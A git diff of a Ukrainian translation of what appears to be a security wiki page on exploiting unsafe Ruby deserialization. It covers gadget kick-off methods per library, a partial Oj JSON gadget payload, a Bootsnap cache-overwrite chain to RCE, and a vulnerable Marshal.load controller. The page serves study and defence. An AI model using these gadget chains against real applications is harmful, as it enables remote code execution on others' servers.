Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція для зловживання для отримання RCE в основному):
 | 
			
		||||
Існують інші бібліотеки Ruby, які можна використовувати для серіалізації об'єктів, і тому їх можна зловживати для отримання RCE під час небезпечної десеріалізації. Наступна таблиця показує деякі з цих бібліотек та метод, який вони викликають з завантаженої бібліотеки щоразу, коли вона десеріалізується (функція, яку можна зловживати для отримання RCE в основному):
 | 
			
		||||
 | 
			
		||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Library</strong></td><td><strong>Input data</strong></td><td><strong>Kick-off method inside class</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (class needs to be put into hash(map) as key)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (class needs to be put into hash(map) as key)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([see notes regarding json_create at end](#table-vulnerable-sinks))</td></tr></tbody></table>
 | 
			
		||||
 | 
			
		||||
@ -956,7 +956,7 @@ Oj.load(json_payload)
 | 
			
		||||
"password": "anypw"
 | 
			
		||||
}
 | 
			
		||||
```
 | 
			
		||||
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на кшталт:
 | 
			
		||||
Більше того, було виявлено, що за допомогою попередньої техніки в системі також створюється папка, що є вимогою для зловживання іншим гаджетом, щоб перетворити це на повноцінний RCE з чимось на зразок:
 | 
			
		||||
```json
 | 
			
		||||
{
 | 
			
		||||
"^o": "Gem::Resolver::SpecSpecification",
 | 
			
		||||
@ -988,7 +988,7 @@ Oj.load(json_payload)
 | 
			
		||||
 | 
			
		||||
- Визначте вразливість і середовище
 | 
			
		||||
 | 
			
		||||
Функціональність завантаження файлів Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати в каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
 | 
			
		||||
Функціональність завантаження файлів у Rails-додатку дозволяє зловмиснику записувати файли довільно. Хоча додаток працює з обмеженнями (лише певні каталоги, такі як tmp, доступні для запису через ненадійного користувача Docker), це все ще дозволяє записувати в каталог кешу Bootsnap (зазвичай під tmp/cache/bootsnap).
 | 
			
		||||
 | 
			
		||||
- Зрозумійте механізм кешування Bootsnap
 | 
			
		||||
 | 
			
		||||
@ -1000,7 +1000,7 @@ Bootsnap прискорює час завантаження Rails, кешуюч
 | 
			
		||||
 | 
			
		||||
- Обчисліть шлях до кеш-файлу
 | 
			
		||||
 | 
			
		||||
Відтворюючи механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де Bootsnap його очікує (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
 | 
			
		||||
Відтворюючи механізм хешування FNV-1a 64-біт для Bootsnap, визначається правильний шлях до кеш-файлу. Цей крок забезпечує, що шкідливий кеш-файл буде розміщено точно там, де його очікує Bootsnap (наприклад, під tmp/cache/bootsnap/compile-cache-iseq/).
 | 
			
		||||
 | 
			
		||||
- Створіть шкідливий кеш-файл
 | 
			
		||||
 | 
			
		||||
@ -1013,13 +1013,13 @@ Bootsnap прискорює час завантаження Rails, кешуюч
 | 
			
		||||
Це корисне навантаження компілюється в бінарний Ruby-код і конкатенується з ретельно складеним заголовком кеш-ключа (використовуючи раніше зібрані метадані та правильний номер версії для Bootsnap).
 | 
			
		||||
 | 
			
		||||
- Перезаписати та викликати виконання
 | 
			
		||||
Використовуючи вразливість довільного запису файлів, зловмисник записує створений кеш-файл у обчислене місце. Далі вони викликають перезапуск сервера (записуючи в tmp/restart.txt, який контролюється Puma). Під час перезапуску, коли Rails вимагає цільовий файл, завантажується шкідливий кеш-файл, що призводить до віддаленого виконання коду (RCE).
 | 
			
		||||
Використовуючи вразливість довільного запису файлів, зловмисник записує підготовлений кеш-файл у обчислене місце. Далі вони викликають перезапуск сервера (записуючи в tmp/restart.txt, який контролюється Puma). Під час перезапуску, коли Rails вимагає цільовий файл, завантажується шкідливий кеш-файл, що призводить до віддаленого виконання коду (RCE).
 | 
			
		||||
 | 
			
		||||
### Експлуатація Ruby Marshal на практиці (оновлено)
 | 
			
		||||
 | 
			
		||||
Вважайте будь-який шлях, де ненадійні байти досягають `Marshal.load`/`marshal_load`, як RCE sink. Marshal реконструює довільні графи об'єктів і викликає зворотні виклики бібліотек/гемів під час матеріалізації.
 | 
			
		||||
Вважайте будь-який шлях, де ненадійні байти досягають `Marshal.load`/`marshal_load`, як RCE sink. Marshal відновлює довільні графи об'єктів і викликає зворотні виклики бібліотек/гемів під час матеріалізації.
 | 
			
		||||
 | 
			
		||||
- Мінімальний вразливий код Rails:
 | 
			
		||||
- Мінімальний вразливий шлях коду Rails:
 | 
			
		||||
```ruby
 | 
			
		||||
class UserRestoreController < ApplicationController
 | 
			
		||||
def show
 | 
			
		||||
@ -1044,7 +1044,7 @@ end
 | 
			
		||||
- Будь-яка кастомна персистенція або транспортування бінарних об'єктних блобів
 | 
			
		||||
 | 
			
		||||
Індустріалізоване виявлення гаджетів:
 | 
			
		||||
- Grep для конструкторів, `hash`, `_load`, `init_with` або методів з побічними ефектами, викликаних під час розпакування
 | 
			
		||||
- Grep для конструкторів, `hash`, `_load`, `init_with` або методів з побічними ефектами, які викликаються під час розпакування
 | 
			
		||||
- Використовуйте запити CodeQL для небезпечної десеріалізації Ruby, щоб відстежити джерела → стоки та виявити гаджети
 | 
			
		||||
- Перевірте за допомогою публічних багатоформатних PoC (JSON/XML/YAML/Marshal)
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user